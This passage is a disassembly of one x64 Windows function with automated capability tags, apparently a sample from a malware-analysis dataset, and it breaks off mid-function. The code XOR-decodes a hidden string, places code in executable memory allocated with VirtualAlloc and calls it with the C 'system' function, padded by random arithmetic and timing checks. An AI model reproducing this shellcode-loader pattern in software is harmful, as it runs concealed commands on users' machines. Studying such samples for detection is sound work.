Function at 0x140007260
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3fd0]
mov eax, 0x40d0
call fcn.140022800
sub rsp, rax
movaps xmmword [rsp + 0x40c0], xmm6
movaps xmmword [rsp + 0x40b0], xmm7
movaps xmmword [rsp + 0x40a0], xmm8
movaps xmmword [rsp + 0x4090], xmm9
movaps xmmword [rsp + 0x4080], xmm10
movaps xmmword [rsp + 0x4070], xmm11
movaps xmmword [rsp + 0x4060], xmm12
movaps xmmword [rsp + 0x4050], xmm13
movaps xmmword [rsp + 0x4040], xmm14
movaps xmmword [rsp + 0x4030], xmm15
mov rax, qword [0x14002c010]
xor rax, rsp
mov qword [rbp + 0x3f20], rax
mov qword [rsp + 0x68], rcx
xor esi, esi
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
lea rcx, [rbp + 0x3ff8]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x358], r15
mov qword [rbp + 0x360], rcx
mov rax, qword [rcx]
xor rax, r15
mov qword [rbp + 0x350], rax
mov qword [rcx], rsi
movups xmm0, xmmword [str.2f____7tt]
movups xmmword [rbp + 0x140], xmm0
movups xmm1, xmmword [0x140024e78]
movups xmmword [rbp + 0x150], xmm1
movups xmm0, xmmword [0x140024e88]
movups xmmword [rbp + 0x160], xmm0
movsd xmm0, qword [0x140024e98]
movsd qword [rbp + 0x170], xmm0
mov eax, dword [0x140024ea0]
mov dword [rbp + 0x178], eax
movzx eax, word [0x140024ea4]
mov word [rbp + 0x17c], ax
movzx eax, byte [0x140024ea6]
mov byte [rbp + 0x17e], al
mov r9d, esi
lea eax, [rsi + 6]
lea ecx, [rsi + 4]
lea edx, [rsi + 0x1f]
cmp dword [0x14002c018], 2
jl 0x1400075cf
movdqa xmm9, xmmword [0x1400253f0]
movdqa xmm6, xmmword [0x140025460]
movd xmm10, eax
movdqa xmm7, xmmword [0x140025470]
movd xmm11, ecx
movdqa xmm12, xmmword [0x140025480]
movdqa xmm13, xmmword [0x140025410]
movd xmm8, edx
movdqa xmm0, xmmword [str.________________]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x140]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x140025420]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140025420]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x140007410
cmp r9d, 0x3f
jge 0x140007634
movsxd rax, r9d
lea r10, [rbp + 0x140]
add r10, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx r8d, r9b
sub r8b, cl
add r8b, 0x20
add r8b, r8b
mov eax, 0x214d0215
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x7b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x1400075e0
lea rax, [rbp + 0x140]
mov qword [rbp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
lea rdi, [rbp + 0x3ff8]
mov qword [rbp + 0x3d8], r15
mov qword [rbp + 0x3e0], rdi
mov rbx, qword [rdi]
xor rbx, r15
mov qword [rbp + 0x3d0], rbx
mov ecx, esi
mov r13d, 3
lea r14, [0x140017c20]
lea r12, [0x140000000]
mov rax, qword [0x14002e770]
test rax, rax
je 0x1400076b9
nop dword [rax]
cmp rax, r14
je 0x1400076a6
inc ecx
mov rax, qword [r12 + rcx*8 + 0x2e770]
test rax, rax
jne 0x140007690
jmp 0x1400076b9
mov eax, ecx
mov r8, qword [r12 + rax*8 + 0x2e120]
test r8, r8
jne 0x14000779f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400076e0
mov r8, rsi
jmp 0x14000777e
mov rax, r14
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400076f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002d7a0]
mov qword [r12 + rax*8 + 0x2e770], r14
mov qword [r12 + rax*8 + 0x2e120], r8
inc rax
mov qword [0x14002d7a0], rax
lea rdx, [rbp + 0x30]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
xor rbx, r15
mov qword [rbp + 0x3d0], rbx
mov qword [rdi], rbx
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x17f4], 0xffffffff
mov dword [rbp + 0x474], eax
mov r15d, 1
mov edx, r15d
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x474], eax
inc rdx
cmp rdx, 0x270
jb 0x1400077e0
mov dword [rbp + 0x470], 0x270
mov dword [rbp + 0x288], 0xffffff9c
mov dword [rbp + 0x28c], 0x64
movaps xmm0, xmmword [0x140025440]
movups xmmword [rbp + 0x450], xmm0
mov dword [rsp + 0x40], esi
xorps xmm8, xmm8
movsd qword [rsp + 0x48], xmm8
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x14000785b
imul rax, rax, 0x64
jmp 0x140007876
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rbx, [rax + 0x5f5e100]
mov qword [rsp + 0x50], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x290], xmm1
mov qword [rbp + 0x2a0], rsi
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x180], rsi
mov qword [rbp - 0x78], rax
mov rdx, qword [rbp + 0x298]
cmp rdx, qword [rbp + 0x2a0]
je 0x1400078d7
mov rcx, rsi
mov qword [rbp - 0x78], rcx
mov qword [rdx], rax
add qword [rbp + 0x298], 8
jmp 0x1400078eb
lea r8, [rbp - 0x78]
lea rcx, [rbp + 0x290]
call fcn.1400195e0
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x1400078f9
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x188], rsi
mov qword [rbp - 0x80], rax
mov rdx, qword [rbp + 0x298]
cmp rdx, qword [rbp + 0x2a0]
je 0x14000793c
mov rcx, rsi
mov qword [rbp - 0x80], rcx
mov qword [rdx], rax
add qword [rbp + 0x298], 8
jmp 0x140007950
lea r8, [rbp - 0x80]
lea rcx, [rbp + 0x290]
call fcn.1400195e0
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14000795e
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x190], rsi
mov qword [rbp - 0x70], rax
mov rdx, qword [rbp + 0x298]
cmp rdx, qword [rbp + 0x2a0]
je 0x1400079a1
mov rcx, rsi
mov qword [rbp - 0x70], rcx
mov qword [rdx], rax
add qword [rbp + 0x298], 8
jmp 0x1400079b5
lea r8, [rbp - 0x70]
lea rcx, [rbp + 0x290]
call fcn.1400195e0
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x1400079c3
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x198], rsi
mov qword [rbp - 0x68], rax
mov rdx, qword [rbp + 0x298]
cmp rdx, qword [rbp + 0x2a0]
je 0x140007a06
mov rcx, rsi
mov qword [rbp - 0x68], rcx
mov qword [rdx], rax
add qword [rbp + 0x298], 8
jmp 0x140007a1a
lea r8, [rbp - 0x68]
lea rcx, [rbp + 0x290]
call fcn.1400195e0
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x140007a28
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1a0], rsi
mov qword [rbp - 0x60], rax
mov rdx, qword [rbp + 0x298]
cmp rdx, qword [rbp + 0x2a0]
je 0x140007a6b
mov rcx, rsi
mov qword [rbp - 0x60], rcx
mov qword [rdx], rax
add qword [rbp + 0x298], 8
jmp 0x140007a7f
lea r8, [rbp - 0x60]
lea rcx, [rbp + 0x290]
call fcn.1400195e0
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x140007a8d
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.1400219c8
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x1a8], rsi
mov qword [rbp - 0x58], rax
mov rdx, qword [rbp + 0x298]
cmp rdx, qword [rbp + 0x2a0]
je 0x140007ad0
mov rcx, rsi
mov qword [rbp - 0x58], rcx
mov qword [rdx], rax
add qword [rbp + 0x298], 8
jmp 0x140007ae4
lea r8, [rbp - 0x58]
lea rcx, [rbp + 0x290]
call fcn.1400195e0
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140007af2
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov r14d, 0x80000000
movsd xmm10, qword [0x1400253a0]
movsd xmm9, qword [0x1400253c0]
movsd xmm13, qword [0x1400253b8]
movsd xmm14, qword [0x1400253b0]
movsd xmm15, qword [0x1400253a8]
movsd xmm7, qword [0x140025450]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x140007b4b
imul rax, rax, 0x64
jmp 0x140007b66
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x1400086eb
mov r13d, esi
nop dword [rax]
nop word [rax + rax]
mov esi, dword [rbp + 0x288]
cmp esi, r14d
lea ecx, [rsi + r14]
jb 0x140007b95
lea ecx, [rsi - 0x80000000]
mov edi, dword [rbp + 0x28c]
cmp edi, r14d
lea eax, [rdi + r14]
jb 0x140007baa
lea eax, [rdi - 0x80000000]
sub eax, ecx
lea rcx, [rbp + 0x470]
cmp eax, 0xffffffff
jne 0x140007bbf
call fcn.1400198a0
jmp 0x140007c0d
lea r14d, [rax + 1]
call fcn.1400198a0
mov r15d, r14d
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jae 0x140007c07
mov eax, r14d
neg eax
xor edx, edx
div r14d
mov r14d, edx
cmp ecx, edx
jae 0x140007c07
nop word [rax + rax]
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jb 0x140007bf0
mov r14d, 0x80000000
cmp esi, r14d
lea r12d, [rsi + r14]
jb 0x140007c1d
lea r12d, [rsi - 0x80000000]
cmp edi, r14d
lea eax, [rdi + r14]
jb 0x140007c2c
lea eax, [rdi - 0x80000000]
sub eax, r12d
lea rcx, [rbp + 0x470]
cmp eax, 0xffffffff
jne 0x140007c44
call fcn.1400198a0
mov ecx, eax
jmp 0x140007c91
lea r14d, [rax + 1]
call fcn.1400198a0
mov r15d, r14d
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jae 0x140007c87
mov eax, r14d
neg eax
xor edx, edx
div r14d
mov r14d, edx
cmp ecx, edx
jae 0x140007c87
nop dword [rax]
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov ecx, eax
imul rcx, r15
cmp ecx, r14d
jb 0x140007c70
shr rcx, 0x20
mov r14d, 0x80000000
lea edx, [rcx + r12]
mov r8, qword [rbp + 0x298]
mov r9, qword [rbp + 0x290]
sub r8, r9
sar r8, 3
lea eax, [rdx + r14]
lea ecx, [rdx - 0x80000000]
cmp edx, r14d
cmovae ecx, eax
movsxd rax, ecx
xor edx, edx
div r8
movsxd rax, edx
mov r15, qword [r9 + rax*8]
mov rax, qword [r15]
mov r12, qword [rax + 8]
cmp esi, r14d
jae 0x140007cda
add r14d, esi
jmp 0x140007ce1
lea r14d, [rsi - 0x80000000]
mov esi, 0x80000000
add edi, esi
sub edi, r14d
lea rcx, [rbp + 0x470]
cmp edi, 0xffffffff
jne 0x140007d00
call fcn.1400198a0
mov ecx, eax
jmp 0x140007d40
inc edi
call fcn.1400198a0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140007d37
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140007d37
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140007d21
shr rcx, 0x20
mov esi, 0x80000000
lea edx, [rcx + r14]
lea eax, [rdx + rsi]
lea r8d, [rdx - 0x80000000]
cmp edx, esi
cmovae r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, r15
call r12
mov dword [rsp + 0x40], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov edi, 2
nop
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x140007d70
divsd xmm11, xmm1
mulsd xmm11, xmm13
subsd xmm11, xmm14
movaps xmm12, xmm8
movaps xmm1, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x140007dc0
divsd xmm12, xmm1
mulsd xmm12, xmm13
subsd xmm12, xmm14
movaps xmm6, xmm12
andps xmm6, xmm7
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm7, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm7, xmm0
addsd xmm6, xmm10
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
movsd xmm1, qword [rsp + 0x48]
addsd xmm7, xmm1
movsd qword [rsp + 0x48], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x140007e60
divsd xmm0, xmm2
mulsd xmm0, xmm13
subsd xmm0, xmm14
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x140007ec2
divsd xmm0, xmm2
mulsd xmm0, xmm13
subsd xmm0, xmm14
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x48]
mulsd xmm0, xmm1
movsd qword [rsp + 0x48], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x378], xmm0
xor r15d, r15d
mov qword [rbp + 0x388], r15
mov qword [rbp + 0x390], r15
lea r8d, [rdi + 6]
lea rdx, str.random
lea rcx, [rbp + 0x378]
call fcn.140018640
nop
lea rdi, [rbp + 0x378]
cmp qword [rbp + 0x390], 0x10
jb 0x140007f63
mov rdi, qword [rbp + 0x378]
mov rcx, rdi
jmp 0x140007f6a
lea rcx, [rbp + 0x378]
mov rdx, rdi
mov rsi, qword [rbp + 0x388]
add rsi, rcx
cmp rdx, rsi
je 0x140007fc7
nop dword [rax]
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x140007fb7
nop word [rax + rax]
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x140007fa0
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x140007f80
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2c8], xmm1
mov qword [rbp + 0x2d8], r15
mov ecx, 0x190
call fcn.1400219c8
mov qword [rbp + 0x2c8], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x2d8], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x2d0], r14
mov rsi, qword [rbp + 0x2c8]
cmp rsi, r14
je 0x14000804c
nop dword [rax + rax]
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x288]
call fcn.140017450
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140008020
mov r14, qword [rbp + 0x2d0]
mov rsi, qword [rbp + 0x2c8]
mov dword [rbp + 0x370], 0xffffff9c
mov dword [rbp + 0x374], 0x64
cmp rsi, r14
je 0x1400080a0
nop word [rax + rax]
mov edi, dword [rsi]
lea rdx, [rbp + 0x470]
lea rcx, [rbp + 0x370]
call fcn.140017450
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x140008070
mov r14, qword [rbp + 0x2d0]
mov rsi, qword [rbp + 0x2c8]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.14001a1d0
mov r8d, r15d
mov rax, qword [rbp + 0x2c8]
mov rdx, r15
mov r9, qword [rbp + 0x2d0]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r15
test rcx, rcx
je 0x140008141
cmp rcx, 8
jb 0x140008141
and rcx, 0xfffffffffffffff8
xorps xmm2, xmm2
xorps xmm1, xmm1
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
paddd xmm2, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm1, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x140008100
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14000815c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x140008150
mov eax, dword [rsp + 0x40]
add eax, r8d
mov dword [rsp + 0x40], eax
mov r14d, dword [rbp + 0x288]
mov eax, 0x80000000
cmp r14d, eax
lea r12d, [r14 + rax]
jb 0x140008183
lea r12d, [r14 - 0x80000000]
mov esi, dword [rbp + 0x28c]
cmp esi, eax
jae 0x140008191
add eax, esi
jmp 0x140008197
lea eax, [rsi - 0x80000000]
sub eax, r12d
lea rcx, [rbp + 0x470]
cmp eax, 0xffffffff
jne 0x1400081af
call fcn.1400198a0
mov ecx, eax
jmp 0x1400081ec
lea edi, [rax + 1]
call fcn.1400198a0
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x1400081e8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1400081e8
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x1400081d2
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx - 0x80000000]
mov r12d, 0x80000000
lea edi, [rcx + r12]
cmp ecx, r12d
cmovae edi, eax
cmp r14d, r12d
lea r15d, [r14 + r12]
jb 0x140008215
lea r15d, [r14 - 0x80000000]
add esi, r12d
sub esi, r15d
lea rcx, [rbp + 0x470]
cmp esi, 0xffffffff
jne 0x140008230
call fcn.1400198a0
mov ecx, eax
jmp 0x14000826c
inc esi
call fcn.1400198a0
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x140008268
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp ecx, edx
jae 0x140008268
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x140008252
shr rcx, 0x20
add ecx, r15d
lea eax, [rcx - 0x80000000]
lea r8d, [rcx + r12]
cmp ecx, r12d
cmovae r8d, eax
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x1400082b6
dec eax
or eax, 0xfffffffe
inc eax
mov rbx, r12
test eax, eax
mov eax, dword [rbp + 0x288]
lea r14d, [rax + r12]
jne 0x14000835b
cmp eax, r12d
jb 0x1400082d7
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x28c]
add eax, ebx
sub eax, r14d
lea rcx, [rbp + 0x470]
cmp eax, 0xffffffff
jne 0x1400082f7
call fcn.1400198a0
mov ecx, eax
jmp 0x14000833a
lea edi, [rax + 1]
call fcn.1400198a0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140008336
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140008336
nop dword [rax]
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140008320
shr rcx, 0x20
add ecx, r14d
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, ebx
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
jmp 0x1400083e7
cmp eax, r12d
jb 0x140008367
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x28c]
add eax, ebx
sub eax, r14d
lea rcx, [rbp + 0x470]
cmp eax, 0xffffffff
jne 0x140008387
call fcn.1400198a0
mov ecx, eax
jmp 0x1400083ca
lea edi, [rax + 1]
call fcn.1400198a0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x1400083c6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1400083c6
nop dword [rax]
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x1400083b0
shr rcx, 0x20
lea edx, [rcx + r14]
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, ebx
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov r12d, 5
nop dword [rax]
xor r15d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rbp + 0x288]
cmp eax, ebx
lea r14d, [rax + rbx]
jb 0x140008415
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x28c]
cmp eax, ebx
jae 0x140008423
add eax, ebx
jmp 0x140008428
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x470]
cmp eax, 0xffffffff
jne 0x140008440
call fcn.1400198a0
mov ecx, eax
jmp 0x14000847c
lea edi, [rax + 1]
call fcn.1400198a0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140008478
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140008478
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140008462
shr rcx, 0x20
add ecx, r14d
lea eax, [rcx + rbx]
lea edx, [rcx - 0x80000000]
cmp ecx, ebx
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
lea rcx, [rbp + 0x470]
call fcn.1400198a0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x1400084a4
divsd xmm1, xmm2
mulsd xmm1, xmm13
subsd xmm1, xmm14
movsd xmm0, qword [rsp + 0x48]
addsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
test r15b, 1
jne 0x140008598
mov eax, dword [rbp + 0x288]
cmp eax, ebx
lea r14d, [rax + rbx]
jb 0x14000850f
